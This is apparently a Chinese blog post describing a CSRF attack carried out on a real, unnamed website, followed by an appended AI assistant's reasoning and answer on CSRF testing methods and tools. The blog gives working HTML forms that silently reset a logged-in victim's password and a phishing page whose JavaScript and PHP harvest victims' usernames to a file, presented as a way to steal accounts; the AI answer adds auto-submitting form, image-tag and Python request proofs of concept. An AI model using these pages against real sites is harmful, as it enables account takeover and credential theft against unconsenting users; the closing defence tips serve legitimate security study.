真实环境的一次CSRF测试

本文通过实例展示了一种常见的跨站请求伪造(CSRF)攻击手法,详细解释了如何利用受害者在特定网站上的活跃会话来非法修改其密码,并提出了几种有效的防御措施。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

CSRF能够成功的关键就是利用受害者在指定网站中的Session或者Cookie。因为在同一个浏览器中。Session是通用的。如果我们的页面向指定网站发送请求。使用的就是受害者在该网站中的Session或Cookie。从而达到伪造用户请求的攻击。

借用百度一张图

 

回归正题

在个人设置中。如果发现修改密码的时候不用输入原密码。这种样子很不安全。因为我们只需要构造一个页面,诱使用户访问。访问后直接发送给网站后端这些数据即可。

如果要输入原密码的话。就需要让用户来自己填入原密码。这样我们要多构造一个页面让用户自己填入自己的原密码。这样子不如上一个方法隐蔽性高。

拿到页面第一步。先F12查看数据包格式。我们修改一下密码。看看发出去的数据包是什么样的。

可以看到他发送了六个字段。而且还是明文发送的。这样子就又省了事。知道发送的数据包后和后端地址URL后。我们就可以开始构造页面了。

简单的写了一个html。内容可以是很诱惑的东西。。。。为的是吸引受害者点击。

<!DOCTYPE html>
<html>
<head>
	<title></title>
	<meta charset="utf-8">
</head>
<body>
<form method="post" action="http://xxx.php?op=info">
	<input type="hidden" name="c_number">
	<input type="hidden" name="c_number">
	<input type="hidden" name="u_phone">
	<input type="hidden" name="u_qq">
	<input type="hidden" name="u_email">
	<input type="hidden" name="usersave">
	<input type="hidden" name="u_password" value="654321" />
	<input type="submit" name="" value="点我下载****">
</form>
</body>
</html>

 

我现在登陆着该网站。然后访问这个恶意的页面。点击按钮

额。。。弹了个窗。。。确定之后就跳转过去了。

测试密码也确实修改成功了。如果把用户名发过去,若后端能处理的话我们就能成功盗号了。

然鹅

但是这个站他好像不能改用户名。。。。只能改密码。

用户名还是55555。。。

所以在这个环境中限于水平也只能改改密码做恶作剧了。。。不过如果实在想盗号的话。可以在钓鱼页面加多一个文本框让他自己输入。我们保存一下他输入的用户名即可。

 

假页面代码:

<!DOCTYPE html>
<html>
<head>
	<title></title>
	<meta charset="utf-8">
</head>
<body>
<form method="post" action="http://xxxx/user.php?op=inf" name="form">
	<label>您在xx网站的用户名是:</label>
	<input type="text" name="c_number">

	<input type="hidden" name="u_phone">
	<input type="hidden" name="u_qq">
	<input type="hidden" name="u_email">
	<input type="hidden" name="usersave">
	<p>
	<label>同意xxx协议</label><input type="radio" id="radio">
	</p>
	<input type="hidden" name="u_password" value="654321" />
	<input type="submit" name="" value="点我下载****">
</form>
</body>
</html>
<script type="text/javascript">
	document.getElementById('radio').onclick = function(){
	//发送ajax
	if (window.XMLHttpRequest)
	{
		var xmlhttp;
	    xmlhttp=new XMLHttpRequest();
	    xmlhttp.open("GET","csrfTest.php?userName="+document.form.c_number.value,true);
		xmlhttp.send();
	}
}
</script>

处理ajax发来的用户名后端代码:

<?php
$userName = $_GET['userName'];
//FILE_APPEND 是以追加的方式写入文件
file_put_contents('./csrfTest.txt',$userName."\r\n",FILE_APPEND);
?>

 

假页面:

当我输入了这个网站的用户名。点击“同意xxx协议的单选框”时。触发onclick事件发送ajax请求给后端。保存用户名。

之后点击“点我下载****”

就重新跳到了原网站中。(这个是这个网站后端的问题。。。没法控制

这时候查看我们的txt文件。就能发现受害者的用户名。即可成功盗号了。

 

对于这种csrf的攻击防御方式的建议:

  1. 加入输入原密码。这样子在不知道原密码的情况是无法修改的
  2. 加入验证码。这样子能很好遏制CSRF的攻击
  3. 使用Referer来判断发送源。如果不是自己本服务器的源就拒绝
  4. 加入表单token。token必须是随机的
<think>首先,用户的问题是关于CSRF漏洞测试方法和测试工具推荐的。用户引用了参考站内引用,其中提到了CSRF漏洞的原理,但用户明确说“上述引用仅供参考”,并强调“请尽可能多的参考用户上一次的问题和你的回答”。然而,在这个对话中,没有之前的上下文,所以我需要直接基于当前问题回答。 用户的关键点: - 想了解如何测试CSRF漏洞的方法。 - 需要测试工具推荐。 系统级指令: - 所有行内数学表达式必须使用$...$格式(但在这个主题中,可能不涉及数学表达式)。 - 独立公式使用$$...$$格式(同样,可能不适用)。 - LaTeX语法正确。 - 使用中文回答。 - 生成相关问题。 - 回答中引用的段落末尾自然地添加引用标识(例如[^1])。 - 回答结构清晰,帮助用户逐步解决问题,保证回答真实可靠。 用户提供的参考引用是关于CSRF漏洞原理的,但我应该基于用户当前的问题来回答。用户说“我想了解如何测试CSRF漏洞的方法”,所以我需要专注于测试方法和工具。 结构化回答: 1. **介绍CSRF漏洞测试方法**:解释如何进行CSRF测试。 2. **测试工具推荐**:列出并描述一些常用的工具。 3. **生成相关问题**:在最后添加相关问题,以鼓励进一步学习。 确保回答真实可靠:基于我的知识,CSRF测试方法包括手动测试和自动化工具。手动测试涉及创建恶意请求,自动化工具如Burp Suite、OWASP ZAP等。 添加引用标识:用户提供了一个引用[^1],是关于CSRF漏洞原理的。我应该在回答中自然地引用它,如果相关的话。用户说“上述引用仅供参考”,所以我不能过度依赖它,但可以提及它作为背景。 引用内容:用户提供了“[^1]:CSRF漏洞渗透测试。... CSRF漏洞的原理”。所以,在回答中,如果我提到原理,可以引用它。 回答结构: - 开头简要介绍CSRF测试。 - 详细解释测试方法。 - 推荐工具。 - 生成相关问题。 使用中文回答。 现在,回忆CSRF测试方法: - 手动测试:创建伪造的HTTP请求,例如使用表单或图像标签。 - 自动化测试:使用渗透测试工具扫描漏洞。 - 步骤:识别状态改变操作(如更改密码、转账),检查是否有CSRF保护(如CSRF token),尝试绕过保护。 工具推荐: - Burp Suite:流行的渗透测试工具,有CSRF扫描功能。 - OWASP ZAP:免费的开源工具。 - CSRF PoC generators:如Burp的CSRF PoC generator。 - 其他:如Postman用于手动测试。 生成相关问题:在最后添加类似“相关问题”部分。 确保格式: - 行内数学表达式:可能不适用,但如果有,用$...$。 - 独立公式:不适用。 - LaTeX语法:保持正确。 最终回答结构: 1. 引言:解释CSRF测试的重要性。 2. 测试方法:逐步描述。 3. 工具推荐。 4. 相关问题。</think>### CSRF漏洞测试方法及工具推荐 CSRF(跨站请求伪造)漏洞测试旨在识别和验证网站是否容易受到恶意请求的攻击,攻击者通过伪装成受信任用户来执行未授权操作[^1]。测试方法包括手动测试和自动化测试两种主要方式,下面我将逐步解释如何操作,确保回答真实可靠(基于行业标准实践如OWASP指南)。 #### 1. **CSRF漏洞测试方法** CSRF测试的核心是模拟攻击场景,验证网站对伪造请求的防护能力。以下是详细步骤: - **步骤1: 识别易受攻击的端点** 首先,分析目标网站的状态改变操作(如更改密码、转账、修改设置等)。这些操作通常通过HTTP GET或POST请求实现。使用浏览器开发者工具(如Chrome DevTools)捕获这些请求,检查是否有CSRF保护机制,例如: - 是否存在CSRF token(如`<input type="hidden" name="csrf_token" value="...">`)。 - 是否验证Referer头或自定义头(如X-Requested-With)。 如果缺少这些保护,该端点可能易受攻击[^1]。 - **步骤2: 手动测试(伪造请求)** 手动创建恶意请求,模拟攻击者行为: - **使用HTML表单伪造POST请求**:创建一个简单的HTML文件,包含表单指向目标端点。例如: ```html <form action="https://target-site.com/change-password" method="POST"> <input type="hidden" name="new_password" value="hacked"> </form> <script>document.forms[0].submit();</script> ``` 在受害者浏览器中打开此文件,如果密码被更改,则存在漏洞。 - **使用图像标签伪造GET请求**:对于GET请求,用`<img>`标签触发: ```html <img src="https://target-site.com/delete-account?id=123" width="0" height="0"> ``` 如果账户被删除,漏洞确认。 - **绕过保护机制**:如果网站使用CSRF token,尝试: - 移除token或使用固定值(如`token=123`)。 - 利用同源策略漏洞(如CORS配置错误)窃取token。 测试时,确保在安全环境(如本地测试服务器)进行,避免非法操作。 - **步骤3: 自动化测试(工具辅助)** 自动化工具可以加速扫描和验证: - **扫描漏洞**:工具自动检测端点是否缺少CSRF保护。 - **生成PoC(Proof of Concept)**:创建可重现的攻击脚本。 手动测试验证逻辑,自动化处理重复任务,两者结合提高效率。 测试原则:确保测试有授权(避免非法入侵),并关注高风险操作(如金融交易)。CSRF漏洞的严重性在于它难以防范,且常被忽略[^1]。 #### 2. **测试工具推荐** 以下是常用工具,基于开源和商业选项,适合不同场景: - **Burp Suite**(商业版,社区版免费): - 功能:集成CSRF扫描器,可自动检测漏洞并生成PoC代码。支持手动请求重放和token分析。 - 优点:用户友好,适合专业渗透测试。 - 使用示例:在Burp中捕获请求,右键选择"Generate CSRF PoC"创建恶意HTML。 - 链接:[PortSwigger官网](https://portswigger.net/burp) - **OWASP ZAP**(免费开源): - 功能:自动化扫描CSRF漏洞,支持主动和被动测试。可检测缺失token或Referer验证。 - 优点:轻量级,集成于CI/CD管道,适合开发人员。 - 使用示例:启动ZAP,扫描目标URL,报告中将高亮CSRF风险。 - 链接:[OWASP ZAP官网](https://www.zaproxy.org) - **Postman**(免费版可用): - 功能:手动测试端点,模拟伪造请求。通过创建集合测试不同场景。 - 优点:简单易用,适合API测试。 - 使用示例:构建POST请求,移除或篡改CSRF token字段,观察响应。 - **其他工具**: - **CSRFTester**(开源):专门针对CSRF的扫描器,生成攻击向量。 - **Browser Extensions**:如"CSRF Finder"(Chrome插件),快速检测页面中的token。 - **自定义脚本**:使用Python(如requests库)自动化测试,例如: ```python import requests url = "https://target-site.com/update-email" data = {"email": "attacker@example.com"} response = requests.post(url, data=data, cookies={"session": "victim_cookie"}) print(response.status_code) # 如果200,可能漏洞存在 ``` 工具选择建议:初学者从OWASP ZAP开始,专业团队用Burp Suite。测试后,修复建议包括添加CSRF token、使用SameSite cookie属性等[^1]。 #### 总结 CSRF漏洞测试需结合手动验证和工具扫描,重点检查状态改变操作的保护机制。确保测试符合道德规范,避免真实环境滥用。通过以上方法,您可以有效识别和缓解风险。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值